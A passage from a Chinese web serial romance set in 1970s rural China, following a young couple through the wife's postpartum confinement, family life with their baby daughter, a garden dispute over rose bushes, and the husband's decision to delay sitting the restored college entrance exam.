“肯定不会的。”余银轻哼道:“就这样的打他两顿都是好的,咱们都发着善心没告他个耍流氓。” 隔壁病床上的女人被子动了下,“你们去叫民兵来吧,就说他耍流氓,我也看到了。” 余银和游雾州还有游雾州都同时诧异的看向她。 那女人把被子盖在头顶,声音有些闷,但却很坚定,“找民兵来,他还偷了你媳妇换下来的刀纸和小裤子。” 因为余金给她了布料,余银说就只有余金惦记的是她,而不是孩子。 游雾州为了证明自己也在乎是她,也买了的确良的布料回来,给她做了衣服剩下的,没让给孩子做尿布,而是给她做了小裤子。 而他也听说产妇最重要的就是要经常换洗,保持幹净,尤其是刚生完孩子,小裤子应該换的更勤。 游雾州就在带往医院去的包里装了不少小裤子。 一想到余银换下来的小裤子,都被那死变态偷了,他就覺得真的收拾的太轻了。 “娘,去叫民兵来。”余银惡心的不行,气冲冲地对余阿娘说。 余阿娘也没见連换下来的刀纸都拿走的,她幹呕了两下,把孩子给游雾州,“我去叫,这鳖孙真他娘的不是个东西。” 医院里就有民兵在守着,余阿娘去一楼就找到了民兵,跟他们说了事情后,就带着民兵上楼了。 在民兵上来后,病床上的女人就指了指床边的小包,那包里装了除了余银的小裤子,还有几条不知道谁的。 民兵都没见过这样恶心的事跟人,向余银这个当事人了解一下情况,就去拿人了。 余银蹙着眉,嫌弃道:“这个太恶心了,游雾州,这几天换下来的小裤子我不要了,太恶心了,谁知道其他的他碰过没。” 本来医院的味道就够恶心人了,这隔壁床男人做的事,更是让人恶心坏了。 游雾州也恶心的不行,赶紧把装着的那小裤子全都给扔了,“都不要了,反正家里还有,也不知道那人幹不干净。” “越想越觉得踹的太轻了,就該让他断子绝孙,想也不该想。” 游雾州把东西扔进垃圾桶后,眼底神色深了深,紧绷着的脸看起来很生气。 他那话说的语气不像是开玩笑,反而是给人感觉他真会这么做。 余银忙拉住他胳膊,摇头道:“民兵在你不好动手,回去让舅舅打个招呼,有他好果子吃。” 游雾州这会当着民兵面动手,肯定是不行的,左右认识的有人,也不怕他在里面过的痛快。 余阿娘也劝他,“流氓罪他跑不了,你舅的战友打个招呼的事。咱这才喜当爹,犯不着为他找些事来。” 游雾州点了下头,“知道了。” 只是在心里盘算着怎么收拾这人。 单单只是墙壁他,未免也太便宜了- 事情最后怎么处理的,余银一点都不会操心,但她知道那人下场肯定不会好。 回家坐月子比在医院让人自在的多,连飯也吃的多了,每次吃完,都是自己主动要从床上下来走的。 游雾州向学校请了假,李小桃自己也要带着孩子,他怕李小桃伺候不好余银。要自己親力親为。 吃飯都是自己做的,跟余家其他人的都不一样,给余银的要清淡一点,也有油水些。 他每天都要跑镇上一样,买肉菜回来自己做,或者去饭店买了现成的回来。 游雾州用的都是自己的钱,余家人也不说什么,更何况那也都是为了余银,他们甚至也能沾上光。 余银这个月子才做半个月,余阿娘他们就吃的满面红光的。 虎丫和余庆小脸都吃起来了。 李小桃抱着她家大胖,看着床上余银喂着喝麦乳精的孩子,羡慕道:“乖乖,别人都是喂个面汤米汤的,你家直接喂麦乳精啊。” 余银撇了撇嘴,无奈道:“谁让我一点奶水都没有。” 她还担心孩子只喝麦乳精不好,毕竟小孩子都是吃奶的。 但看余愿愿好像没什么问题。就只好喂着麦乳精。但这些天,也一直让张接生婆给她通奶。 也会吃下奶的饭菜。 虎丫在旁边看着余愿愿笑,“愿愿,我是姑姑。” “不应该是叫表姨吗,你是虎丫表姐啊。”李小桃纠正道。 余银给她解释:“虎丫觉得姑姑比姨的关系近还親,就说自己是愿愿姑姑的。” “行吧。”李小桃点了下头,“那是不是管余庆也叫舅,不叫叔啊。” 余银忍俊不禁,“倆人,一个当着我娘,一个当着我舅。” 虎丫在一旁笑嘻嘻地点头,“我想当姐姐,但娘说还是姑姑吧,姐姐的话还是算了。” 然后问余银:“姐姐和姑姑一样亲,对不对,就像姑姑对我一样。” 余银点头,“对,就跟姑姑对你一样,你跟愿愿也是这样。” “我婆婆说你们家这小名起的也好听,早知道我们就也不起这个名字了。”李小桃叹了口气。 她家着大胖,跟余银家的愿愿一对比,就知道没可比性。 村里还有人说,反正她跟余银俩人关系好,正好俩孩子错的也不多,结个娃娃亲多好。 李小桃又不心瞎眼盲的,就余愿愿这出生喝的麦乳精,她家大胖还不知道什么时候能喝上,让她敢去奢望吗? 况且游雾州和余银两口子还对她有恩,她从余银生,这才第二次来,就是怕来的太勤,说她别有用心。 余银一听她说名字这个事,就笑了,“还是你二妹点醒我,才费了好大功夫给愿愿起的名字,就连她的大名,也是这几天才选好的。” 李小桃弯唇道:“是要尽心些起名,那你们大名叫什么?” 可能是发现余银注意力没在余愿愿身上,她扯着嗓子就开始哭,余银赶紧抱着哄。 虎丫见状就抢答道:“叫游恣玙,姐夫说的恣玙两个字我也不知道是哪个,但是说愿愿他们的珍宝,希望愿愿无拘无束。” “这名字好。”李小桃感叹道:“你家男人不愧是知青,真有文化。” 虽然她不知道是哪两个字,但是听到那意思就知道,是对孩子很好的期望。 余银笑了笑,“他毕竟读了那么久的书,要是没点文化,我也瞧不上他呢。” 李 小桃一脸八卦,“得了吧,你指定是先瞧上了你男人的脸,要不是脸入了你的眼,你能看他有没有文化?” 不说余银,就是大部分人,也都是先看脸长得怎么样,才看其他的。 要说余银不是先看了游雾州的脸,李小桃是一点不信的。 余银笑的得意,“不是他脸长的好看,谁还关注他有没有文化啊。” 说是这样说的,但她第一次见游雾州还真没印象,对他的印象只有她去找余阿舅时,见到游雾州那次。 而游雾州说起来,却是前年的冬天,她没什么印象,但对他嘴里,自己从余阿舅那拿的大白兔奶糖确实有点印象。 当时天很冷,余阿舅答应给她的糖是第二天早上给的,还让她去分给游雾州一个。 她按理来说应该不会对游雾州没印象,但却就是记不住那天,只记得余阿舅给了她糖后,让她也分给余阿舅带过来的那个知青。 还让她笑的开心点。 余银猛然想到什么,她的脸色变了下。李小桃忙问道:“怎么了?想到啥了?” 余银心不在焉地摇了摇头,“没什么,就是刚有点晕了下,没事。” 李小桃关心了两句,就也告别离开了。 等她走了以后,游雾州端着饭菜进屋,“走了吗?我还多做了一点,怎么没留她在这吃啊?” “她不会在这吃的。”余银把孩子递给他,说道:“小桃姐是个有心气地,因着外头有人说想让大胖跟愿愿结亲,她都不敢过来,更别说现在让她在这吃饭了。” 游雾州听到结亲,微微蹙了蹙眉,忍不住道:“孩子什么样,也要以后看她自己选择,现在说这些太早了。” “谁说不是呢,我就这一个闺女,可盯上了都。”余银不是说李小桃的意思,她撇嘴道:“也不知道她们嘴怎么这么碎,弄的我出了月子都不想抱着孩子出去了。” 虎丫盯着游雾州放在桌子上的饭菜,不停的咽口水。 余银看到了,把虎丫的那一份推给她,“吃吧。” 今天游雾州做的鸡丝面,特意买的乌鸡,顿了好久,鸡肉都软烂脱骨了,用鸡汤下的面条,在放一点点盐和青菜,盛到碗里时,还放了两滴香油。 确实闻着很香,她还把鸡肉柴的那部分和黄瓜丝拌在一起,还又炒了个丝瓜鸡蛋和炒青菜。 余银的那碗里有个鸡腿,还是去了皮的,因为接生婆说不能吃太油腻的,给余银面条里的鸡肉,都是没皮撕好的肉丝。 她吃了几口菜,把碗里的饭吃了一半,就接过余愿愿抱着,换游雾州去吃。 她俩的性子都很好,也不知道余愿愿随了谁,抱着她的时候,就要眼里只有她一个人,不然就哭闹,而为小孩子还要一直抱着。 余银抱的少,但吃完饭都要走一会儿的时候,她会抱着,游雾州做饭的时候,也是她抱着。 不过她大部分时间都在床上,也不累。 游雾州吃完饭,就又去接过余愿愿,直到把她哄睡着,才去把碗筷端去洗了。 洗完碗筷,又去洗上午余愿愿换的尿布,等都洗完了,又端了盆热水进屋,等水温下来,余愿愿也该醒了换尿布。 忙个不停,余银等他上床来,就要去拉他。 游雾州忙躲过手,怕吵醒余愿愿极小声道:“我手凉,你不能碰凉的。” 余银顿了下,去拉他胳膊,“这几天累着了吧,你快躺下,我给你捶捶背。” 游雾州的辛劳她都看在眼里,她能做的只有中午的时候,给他捶捶背,松松筋骨,孩子中午也只能跟着他俩。 余阿娘他们就到抢收了,也忙得很,他俩都不上工,也不好让孩子给余阿娘们带。 游雾州抬头看了她一眼,胳膊将她圈起来,笑道:“你让我躺这抱会就行了。” 余银看了眼孩子,跟着他躺下去。 游雾州侧过身,将她整个人都搂在怀里,感概道:“你说她们都是怎么做到的,坐着月子还要带孩子。” 余银小声问:“你小时候不是这样吗?” 这都是生完孩子自己带,自己坐月子的,有的甚至生完没事了还要下地干活的。 也就是余阿娘月子没做好,一身小毛病,她在王桂香生完后,才让坐完月子,想下地了下地。 那余庆小时候就是余金带的,后来余金去部队了,虎丫是余银带的,甚至王桂香的月子,都是余银伺候的。 游雾州下巴搁在余银发定蹭了蹭,小声道:“我小时候就是一堆人伺候,太娇气了,我外公才把我接到他那,跟着他在部队里锻炼。” “你小时候很娇气?”余银有诧异,但她想了下,说道:“确实有一点,我就没见过你穿个大背心干活,每天都是板板正正的。” 再热的天,都是这一身,就算是下地,他不穿白衬衫,也是板板正正的,看着就不像干活的人。 难以想象偏偏他干起活来,有力气,也肯干,丝毫不见娇气。 游雾州低笑道:“说来你可能看不出来,我小时候到五岁时,都没怎么在路上走过,要么抱,要么坐车,后来我外公看到我这样子,发了好大一通火,把我接走了。” 接走了?余银有些疑惑。 她问游雾州,“啥意思,你小的时候一开始在你自己家,后来才跟着你外公的?” 游雾州点头,他说道:“我五岁之前才叫这个名字,下乡时改回来的。” 余银瞪大了眼睛,“你,你连名字都不是真的?” “我都给你生孩子了,但却连你名字都不知道?” 游雾州摇头,他解释道:“不是,我是后来跟着我外公姓的,叫林明州,但当时也是为了不想让游家找到我。” 他家的事很复杂,一时间说不清楚,而且牵扯的也太多了。 他抬起头,问余银:“你想知道吗,家里那些事有些复杂。” 余银把手搂在他的腰上,摇了摇头,“不想知道,现在就挺好,我想多过几年这样的日子。” 她不想让游雾州回去,一旦回去事情就有可能不受控制。 而且,要回去,最起码也要在等两年,等到余家不发生那些事后。 游雾州无声地笑了下,“现在是挺好的,但我想带你和愿愿,去见见我外公。” 他成家了,也有孩子了,想让他外公看看他们一家。 说完,他又觉得不妥,语气有些落寞,“算了,现在还不是时候。” 余银听着心里有些难受,她撑起身子,对游雾州道:“能写信过去吗,咱们可以去照相馆照相,然后寄给你外公看啊。” 游雾州眼睛顿时一亮,他可以把相片寄给外公看的。 余银躺好,轻哼道:“都说一孕傻三年,我看傻的怎么是你啊,游雾州。” 游雾州笑眯眯地在她额头上亲了一下,“余银,你真好。” “你怎么这么好啊,我真有福气能娶了你。” 有些事他不说,她就不问,他提了,她也会问的点到为止。 余银听他这么说,笑着道:“知道就行游雾州。” 游雾州也笑着:“睡会吧,等一会儿她就又该醒了。” 余银扭头看看一眼睡的正香的余愿愿,抬手搂向游雾州的后背,小声道:“睡吧,州州,我哄你睡。” 游雾州看着她,意味深长地笑了下,“可以吗?” 说着他往下睡了睡,头往她怀里蹭去。 余银下意识想说怎么不可以,就福灵心至,有些不好意思小声道:“接生婆说,你来吸,说不定能吸出来。” 生完都会有奶水,她虽然不通,但也因为愿愿吸的太疼了,她每次都忍不了。 这再不通,她可能就会发烧生病,很不利于她坐月子。 游雾州听到这话,脸色有些不自然,他清了清嗓子,解释道:“我没想那啥。” 余银也很不好意思,她闭了闭眼就心一横,把衣服掀起来,往他脸前递了递,“你快吸,要是再不出来,张接生婆就该更使劲给我通了,还有可能会发烧。” 游雾州的鼻尖 猝不及防碰上弹软,他有些紧张的张开嘴。 鼻尖处被堵着,让他有些呼吸急促。 奶香四溢萦绕着他的鼻间,唇瓣轻吮上,舌尖下意识不自觉地与其缠绕着。【你现在阅读的是 】 80-88 第81章 第81章游雾州不参加高考 余银要做双月子,天也热了起来,她第一个月子刚做完,就受不了,想洗澡洗头了。 游雾州去问了张接生婆,可以洗,但不能洗太久,最好用艾草煮的水来擦洗一下。 在中午日头正大的时候,游雾州烧了一大锅艾草水,给余银洗了澡和头。 余愿愿一个多月,也不能洗澡,只能用毛巾给她擦擦。 小孩子这一个多月,已经从紅紅皱皱的样子,逐渐变得白白嫩嫩,一双大眼睛黑白分明,水灵灵的,眼型像游雾州的狭长,眼珠却像余银。 尽挑余银和游雾州夫妻两个的优点长,是很精致的漂亮。 但凡见着余愿愿的,就每一个不喜歡的。 就是她有时候要做坏事了,或者做坏事之前,都笑眯眯地看着你。 有时候游雾州抱着她,哪里稍微不舒服,就对着他笑眯眯地,游雾州一颗老父親的都被融化了,闺女然后尿了他一身。 余银就从来没有这样过,或许是知道余银在坐月子,很少抱她,每次余银抱她都很听话。 但鬧人的时候讓余银抱,是不讓的,就是不愿意鬧余银。 弄的游雾州哭笑不得,但知道心疼余银,他就愈发打心里疼爱余愿愿。 这也导致了余愿愿脾气越来越傲娇。 余银也不怕游雾州把孩子惯坏了,只要她们看着不长歪,怎么样都行。 她抱着余愿愿坐在太阳底下,游雾州给她擦着头发,虎丫在逗她怀里的余愿愿。 “愿愿,姑姑,我是姑姑。”虎丫捧着臉笑眯眯地。 她指着旁邊站着的余慶,“这是舅舅,叫舅舅。” 余愿愿这邊看一眼,那邊看一眼,睁着大眼睛懵懵懂懂地,嘴巴张着,口水往外流着。 余银邊拿着小手帕擦着,边看着他们笑。 余慶不知道从哪摘得月季花,红艳艳地,余愿愿喜歡的很。 花只要往她眼前晃,她就会笑,一笑就流口水。 虎丫和余慶逗得乐不开支,余银幹脆手上点着小手帕,托着余愿愿的臉。 见余愿愿很喜歡那花,游雾州就问他:“你那花从哪摘的,我晚会再摘点回来。” 余慶顿了一下,想了想道:“是小暑哥给我的,我等下午了去找他要点。” “扬小暑从哪摘的啊,没见咱们村子里谁家种这个的。”余银随口说着。 游雾州也不知道村里谁家种这个了,他摇了摇头。 余庆回答道:“是江知青不要的,我看见了,小暑哥就给我了。” “他们俩好像鬧别扭了,小暑哥特意给她摘的花,但她不要,就给我了。” 虎丫专心的逗着余愿愿,那口水都把手帕浸湿了。 余银闻言笑了笑,把手帕叠了一下,垫在手心。 游雾州抿了抿唇,也没说什么,就交代余庆,“你问问小暑哥在哪摘的就成了。” 余庆郑重地点了下头。 下午的时候,余庆过来的时候,特意跟游雾州说:“小暑哥说他只能晚上再偷偷给我摘两朵,多的不给,还不讓我孩子别人。” 就两朵花还弄的神神秘秘,余银说道:“这不就是普通的月季花,难道说这不是普通的月季。” 余庆摇头,“我也不知道,但他是这样说的。” 游雾州点头,“那就不要了,改明我去县里看看有没有卖这个的,栽家里两棵种着。” “好。”虎丫鼓掌道:“这个花好看,姐夫种家里,家里香香的,好闻的很。” 余银捏了捏游雾州的胳膊,“那你多买几棵,我也覺得院子里太空了,种点月季又香又好看的,愿愿也喜欢。” 游雾州想了下院子里满是月季,余银和愿愿看着那花开心的样子,他眉眼含笑点了点头。 这事余阿舅知道了,就跟他不用费那个精力还去县城买,他明天去弄点枝过来栽着,两家院子里都种点。 余阿娘听了不妥,“那玩意好看是好看,但可招蜂来了,再蜇着这几个小的咋办。” 游雾州听了也记得不好,但蜜蜂你不招它,是不会主动蜇你的。 他笑道:“少种点,愿愿喜欢。” 一听这话,余阿娘也就作罢,她交代余阿舅,“你别弄那小枝的,要那大的高的,那样蜇不着愿愿。” 余阿舅记在心里,点着头應道。 这事第二天就办好了,余阿舅用推车拉回来了三颗月季,个头也都不小,红艳艳的月季花一簇一簇地盛开着。 像是把种那的挖了出来。 这花跟余庆摘的那朵一样,都是艳红色的,漂亮极了。 余银有些诧异,“你们从哪弄来的,还是开的这么好的。” 游雾州朝着余阿舅的方向抬了抬下巴,说道:“阿舅弄来的。” 他也很很奇怪。 余阿舅解释道:“村长给的,他家里的还有几棵呢,我正好跟他打听谁家种的有,他就卖了我三棵。” 游雾州和余银闻言,挑眉对视了一眼,无声地笑了下。 这下真好了,问扬小暑没要来的,讓村长给送上门了。 中午刚栽好,正睡着覺呢,扬小暑就过来敲门。 余愿愿被吵醒鬧了起来的哭的两个人都睡不成。 余银睡的正香被吵醒,沉着臉,“肯定是来要花的。” 她还在坐月子,不放便出去,余愿愿被闹醒还不让余银哄,游雾州抱着余愿愿,顶着太阳去给扬小暑开门。 “大中午的,有什么事嗎?”他用扇子给怀里的孩子遮着太阳。 余愿愿本来就被吵醒在闹人,这会儿大太阳晒着,她更闹人的厉害。 挤着臉哭闹,小手握成拳挥舞着。 游雾州边哄,边对杨小暑没什么好脸色。 “是不是吵到你们睡覺了。”扬小暑也覺得有些不好意思,他伸着头往院子里看了眼,瞄到那月季花,顿了一下,“这花不是我的,让我也给了你们家,能不能——” “不能。”游雾州直接拒绝,他说道:“没什么事我就回屋了,孩子再晒会就该中暑了。” 他说完就走了,院门都不关,花种都种了,要是被挖走,那第一个就找他扬小暑。 扬小暑看着游雾州抱着孩子离开,他挠了挠头,声音有些小,“那好吧,我下午再过来拿。”- “花呢?”柳盼娣叉着腰,没好气道。 江窈皱着眉,也是一脸不悦。 扬小暑心虚地挠了挠头,声音也低到不行,“他们在睡觉,下午我再过去一趟。” “过去一趟就能要回来不。”柳盼娣呛声道:“就把花放你家,这么简单的事你就办不好,你脖子上长得是摆设嗎,摆设最起码还能让人看,你那看都看不下去,真是服了。” 她好不容易弄来的四棵,还没选好在哪种,就让这傻逼给弄走三棵。 这可是花了她大半身家买的啊,是她用来发家致富的,现在就剩一棵了,还弄个啥啊。 江窈也押了不少钱,她对着扬小暑道:“这东西可花了不少钱,你最好想办法弄回来。” “卖给余家还咋要回来,那余阿娘和余银是进她家,东西还能出来的嗎?”柳盼娣无语道。 那花还是余银家的孩子喜欢,不说余银了,就游雾州肯定也不会让还,真要让还回来,游雾州百分百要举报她们的。 上次弄麦芽糖,就被游雾州私下点过,让她别连累了学校,要不然他第一个出来举报。 柳盼娣认命道:“只能先用剩下这棵试试水吧。” 江窈有些心疼,她不甘道:“就这么白白让余银拿走了。” “给钱了的。”扬小暑纠正道:“余阿舅给了钱的,在我爷那。” 这话一出,江窈脸顿时黑了下来。 柳盼娣轻嗤一声,“有时候你不开口说话,说不定江窈还能不这么厌烦。” 还真是个猪队友,尽给她们添些麻烦来- 月季花最后也没来要,游雾州精心呵护着,花也让种活了。 等余银坐完月子,抢收也过去了,游雾州还在学习放假的期间。 余银憋了两个月,终于能出去。但也突然不知道要幹嘛。 游雾州就提议去照相,帶着孩子一块去。 余银穿上去年結婚那天的布拉吉,用布把余愿愿包在怀里,游雾州骑着车,余银和余愿愿坐在后面。 去年她穿着这身衣服,还是去和游雾州去照相,当时她心里还有結。 如今再来到照相馆,心里的結也解了大半。 游雾州停好车,从余银身上解开布,接过余愿愿抱在怀里。 来到比较新奇的地方,余愿愿的眼睛滴溜溜地转着到处看,新奇的很。 两个月的小孩子头发也不长,也扎不起来,余银就也没怎么打扮她,但今天也是穿了一身新衣服来的。 照相的时候余银游雾州抱着她的,安静地不像话,等拍完照片后,才发现,又尿了。 余银乐了,“我说这一路过来,怎么一点都没尿,敢情一到你手里就尿了。” 余愿愿尿完,笑眯眯地盯着游雾州看,也不闹。 游雾州对着她的笑脸实在恼不起来,他认命地笑了下,拿着准备好的尿布,问了厕所在哪,抱着她去换了尿布。 拍完照,她们就回去了,主要是现在天太热了,布又抱着余愿愿,怕给她热着了。 想买的东西,游雾州都会去买了回来,衣服什么的也都是他买的。 回去的路上,余愿愿又热又困的,一脑门的汗,眼睛紧闭着,但还要时不时地睁开,不想缩回那布包里睡。 余银看着心疼的不行,她拍了拍游雾州的腰,“你骑车去农场那边的池塘,摘两个荷葉,愿愿热的不行,都不愿意睡。” 游雾州應道,在前面路口换了个方向,往农场那边骑过去。 俩人又去池塘边,拿棍子摘了两个莲蓬,把荷葉盖在余愿愿头上。 荷葉阴阴凉凉,扣在头上可能是真的凉快了不少,余愿愿睡了过去。 余银头上也顶了一个,她让游雾州也摘了一戴在头上。 游雾州有些不好意思地戴在头上,他一个大男人,头上顶着荷叶看着有些滑稽,余银没忍住笑了出来,“刚才咱们應该这样拍照,这样多好玩啊。” “那现在过去再拍一次?”游雾州提议道。 “算了,再热一会她又该闹了。”余银给怀里的余愿愿擦了擦汗。 游雾州看着穿着碎花裙子的余银,青了绿色的荷叶显得她的脸格外白嫩,看的人心猿意马的…… 他喉结微滚,眼神在荷叶的遮盖下更加深暗,四下也无人,他抬起手微微举起荷叶,俯身在余银脸上落下一个吻。 大概是第一次在外面这么親热,两个人在怀孕后极少親密。 除了那次通奶,但也紧紧只是通奶,游雾州一份雷池都未越过。 余银觉察到他的动作,耳朵一热,浑身都跟着烫了起来。 她眸光潋滟,嗔了他一眼,“这可不是屋里,你想干啥干啥,注意点。” 游雾州又凑过去親了一口,无赖道:“左右这也没人,愿愿也睡着了,就亲两口。” 余银斜睨了他一眼,“亲也亲了,回去吧?” 游雾州点头,手在她唇上轻轻刮了下,“回去就可以多亲两句了吧。” 他眉眼含笑盯着余银,眼底的意味深长。 余银有些不好意思,她咬了下唇,小声道:“那愿愿咋办。” 她月子也坐完了,甚至比其他人还多坐了一个月,张接生婆也早交代过等坐完月子就可以了。 这今天刚好也都结束了。 游雾州听了笑,打趣道:“我就亲两口,愿愿看着也没事。” 余银顿时脸直接烧了起来,瞪了他一眼,冷哼道:“不让亲了。” 说完,转身就走了,游雾州忙赔着笑追上去…… 照片是半个月后出来的,总共洗了四份出来。 一份直接寄给了游雾州的外公,一份寄给了余金。 一份他们自己留着,一份给了余阿娘。 余阿娘拿着照片,看着照片里游雾州怀里的余愿愿,正盯着镜头看,忍不住诧异道:“她坐得住?也没哭闹?” 余银闻言,忍不住笑了起来,“她这时候正尿着呢。” 余阿娘也忍不住笑了起来,“我就说她不会这么听话配合。” “这照片拍的好啊。”王桂香也看着照片,感慨道:“改明也帶着余庆和虎丫去拍一张。” 游雾州觉得可以,说道:“过几天拖拉机不是要去镇上一趟,咱们一家都去拍。” “等哥回来一起吧。”余银道:“算着时间吧哥也快该回来了,等他回来咱们一起去。” “这行,到时候咱们一起拍一张,青云一家再拍一张,多拍点照片,这看着真不错。”余阿娘抚摸着照片道。 王桂香也忍不住点头,她这时候也不觉得心疼钱。 反而有些觉得没把虎丫和余庆小时候拍两张,留作纪念。 余银察觉到她的情绪,挽上她的胳膊,“咱们以后每年都去镇上拍一张吧,愿愿小时候看不出什么变化,余庆和虎丫大了,一年一个样呢。” 王桂香眼眶有些湿润的点了下头- 余金今年回来的比较晚一些,他是在九月初回来的,农场学校都开学了一周。 他回来的时候家里也没人,虎丫开秋后也都帶着去学校了。 游雾州早上后座帶着余银和余愿愿,前面带着虎丫和余庆。 虎丫虽然还没上过学,但是家里不能只留她一个人,余阿舅知道有文化的重要,就让虎丫在学校里玩,总比在村子里到处瞎跑强。 余银给余愿愿换尿布时,也有虎丫给她搭把手。 中午游雾州去县里买的饭菜,也没回家去。 等到晚上回去,才发现余金也回来了。 余银开心的不行,献宝似的把余愿愿抱给他看,“哥,愿愿快抱抱看。” 余金小时候也带过这么点孩子,他很久没抱了,一时间抱着动作还有些僵硬,小小软软的。 他生怕给抱坏了。 游雾州看着他大舅哥僵硬的姿势,没忍住笑了。 余银瞪了他一眼,对余金笑道:“她可会闹人了,但跟你多亲,你瞧她在你怀里都不动。” 余愿愿越来越大,现在每天都能出去,她现在被人抱着就必须要带她出去玩,不然就闹人。 这会儿待在余金怀里的即使他抱的不舒服,也不闹腾。 余金抱了会,逐渐找回感觉,身子左右晃着,动作十分轻柔,余愿愿在他怀里乖的不行。 游雾州眼睫微动,笑道:“愿愿这么喜欢哥,正好哥今晚带她睡,她这两天正闹人着呢,余银都没休息好。” 说道这话,余银脸就忍不住微红,幸好天黑瞧不见。 余银没休息是因为游雾州,而余愿愿闹腾空也是因为俩人晚上闹出的动静,醒了发现她没和他俩睡一起,在那闹人。 游雾州特意打了个婴儿床,就在她们床旁边,这样晚上他俩做什么也方便些。 余金听到余银没休息好,就应了下来,想着他俩都没怎么带过孩子,直接说道:“那晚上我带愿愿吧。” 游雾州笑的很灿烂,“那就多谢哥了,晚上余银也能睡个好觉了。” 余银倒不觉得她能睡个“好觉”了,她只觉得今晚可能注定是个不眠夜。 余金觉得游雾州笑的有些过于热切,但也没想太多,他还有事要跟游雾州说,看了眼余银,说道:“上面有消息,高考要恢复了。” 八月初的时候就有这个消息传出来,但大家都有些不敢相信。 余银知道这个消息的,她没说话,看着游雾州的反应。 余金看着游雾州,接着道:“消息是确定的,你准备准备吧。” 游雾州看了眼,垂下眼摇头道:“我不一定能去考,这次恢复应该是长久的吧。” “不去考?”余金拧眉,怀里的余愿愿有些要闹,他忙轻轻拍着她的后背,说道:“能恢复多久我也不知道,你是不是身份一些不方便。” 除了这个问题,他想不到其他理由,游雾州不去参加的理由。 但游雾州的身份,他问过余阿舅,并没有什么不妥的,除了他外公在被调查,但一点都不影响他。 游雾州嘴角噙着笑,解释道:“我外公的事也快结束了,等结束了后再去考,不然考上了,余银和愿愿怎么办?” 在八月份有高考的消息传出来后,他就和余银商量过了。 他看得出来,余银对恢复高考,并没有太多的激动和高兴。 或许是他考上了,就要和余银母女俩分开,这让余银心里会难受,所以她可能潜意识里并不太想要高考恢复。 游雾州也想了这个问题,他可以去参加考试,考去首都,他的户口也能跟着迁回去。 但余银呢,她该怎么办,她本来就才生完孩子,让游雾州抛下她们母女俩吗? 游雾州做不到,他就跟余银说不管消息真假,他外公的事不解决,他就考不了。 这会儿对余金也是这个说法。 余金还想说,可以考其他的地方,他找认识的人,给余银弄户口,但见他这么说,也作罢。 毕竟游雾州是个做事都会思虑过的人,他不去考,肯定也是权衡利弊之后的选择。 他点头道:“那你自己想清楚就好,有什么需要帮忙的只管说,不用客气。” “毕竟咱们先下是一家人。”他对着怀里的余愿愿笑着道。 孩子都生了,帮游雾州就是帮余银,余金自然要把游雾州当一家人了…… 晚上,温存过后,游雾州搂着余银准备睡觉,听到余银冷不防的说:“游雾州,真的不去参加高考吗?” 他愣了一下,在余银额头上亲了一下,“是等我外公的事解决了,到时候咱们一家三口能在一起,再去参加高考。” 等他外公调查清楚了,他就可以安心的带着余银回首都,参加高考,上大学。 但现在他外公的还没有调查清楚呢首都的一切都是未知的,如果没有孩子,他可能会一个人去,尽早解决了外公的事,把余银接去。 可现在,有孩子了,他不能不为余银着想,她一个人带余愿愿是肯定不行的。 余银叹了口气,说道:“那你能考上,我也考不上啊。” 她是故意这么说的,想看看游雾州什么想法和反应。 游雾州笑了下,肯定道:“你能考上的,放心吧,有我呢。” “你陪着我一起考吗?”余银问他:“我什么时候能考上,你才去考吗?” 她不可能让游雾州这两年去首都的。 第82章 第82章高考来临 游雾州听了这话,微微一愣,随即反应过来,忍不住笑了。 他是不会抛下她们母女俩的。 把余银紧紧搂在她怀里,下巴搁在她的头顶,低声道:“我是不会和你分开的。” 余银轻哦一声,“那你记住你的话啊。” 游雾州没说话,只是用行动告诉余银,为什么不会和她分开。 高考这样的大事,游雾州虽然保证了不会去,但余银心里还是有些忐忑。 等消息真的放出来,并在十二月举行的时候,知青点的人都激动坏了。 能高考了,代表他们以学校上了,也能回家返城了。 在学校的时候,老师们就激动坏了。 等傍晚,游雾州帶着余银他们回家的时候,发现门口站了很多知青。 “游哥,高考恢复了,咱们能回家了,能考大学了,”高智慧激动的说道。 张朝阳也亢奋的不行,“高考恢复了,我们能高考了!” 一群人眼睛都泛着红,一臉兴奋地看着他们。 游雾州笑道:“这是好事,你们特意过来告诉我这个消息吗,谢了。” 他把余庆和虎丫扶着下来,后面的余银抱着余愿愿下来去开门。 张朝阳挠了挠头,期盼的眼神望着他:“咱们可以一起复習,參加高考,这大伙就你学習最好了,你现在还是老师。” 后面的一群知青跟着点头,“对,咱们一起复習,到时候考上大学,就可以回家了。” 游雾州点点头,“你们一起复習是好事,但我不能和大家一起,我今年不准备參加考试。” 余银开了门就抱着孩子,帶着虎丫和余庆进屋。 游雾州把车子就停在门口,他对知青点的人接着道:“我也很久没有看书了,而且我孩子现在太小,也离不开人,我也幫不上你们什么。” “是她们不讓你參加吗?”有人问他。 知青点的其他人看着他的眼神顿时帶了同情。 张朝阳欲言难止,小声地问他:“可以偷偷报名的,我幫你报名。” “是我自己是原因。”游雾州摇头,很轻松的说着:“我今年不准备參加,跟余银她们没关係。” 余阿舅和余阿娘还劝了他很久,讓他赶紧抓住机会,考大学。 张朝阳和知青们还是覺得不信,怎么可能会不想考大学,不想回家呢。 他们都多少年没回家了,想回家就是他们在这的动力。 现在高考恢复了,不仅能回家,还能上大学,游雾州怎么会不想参加呢? 他们不理解,覺得肯定是余家威逼利诱,才讓游雾州不能去参加。 眼见知青点的人看着他们家的眼神都变了,游雾州郑重道:“真的是我自己不想去,他们不紧没逼我,还劝我呢,别多想了。” “是不是你想等余银同志一起考?” 对啊,如果不是不讓他考,那就是他要等着余银一起考。 游雾州摇头,“别乱猜了,我自己今年有点事不能参加,跟她没关係,你们别乱猜了。” “我要去做饭了,你们就先回去吧。” 他都下了逐客令,知青点的人还是不想走。 “怎么是你做饭,你在学校上一天课,怎么回来还要做饭,她不是你媳妇,怎么不做饭让你做。” “就是,哪有让男人做饭的,她整天什么也不干,也不下地上工,帶个孩子又不累,怎么让你做饭。” 游雾州的臉色阴沉下来,他冷眼看着他们,“我们家的事是我们两个自己的事情。” 他不想过多解释自证,懒得跟他们在掰扯,直接去关了门。 关门前,他又打开门,对他们告诫道:“我不跟你一起复习,也请你们不要过来打扰我的生活,希望你们都能考个好成绩。你们考上后还要让大队长蓋章签字,走之前最好在村里留个好印象。” 这群知青要是想着要走了,在村里胡作非为,那真是给余家和杨柳村找事。 他提前告诫一番,让他们心里好有个警醒,别让高考的好消息冲昏了头脑。 屋里余银刚给余愿愿换了尿布,游雾州就进来了,她轻笑道:“是不是让你给他们复习的。” 她早知道这群知青,在考老师的时候就过来,现在高考指定还要过来。 游雾州看着余银怀里的愿愿,拉了拉她的小手。 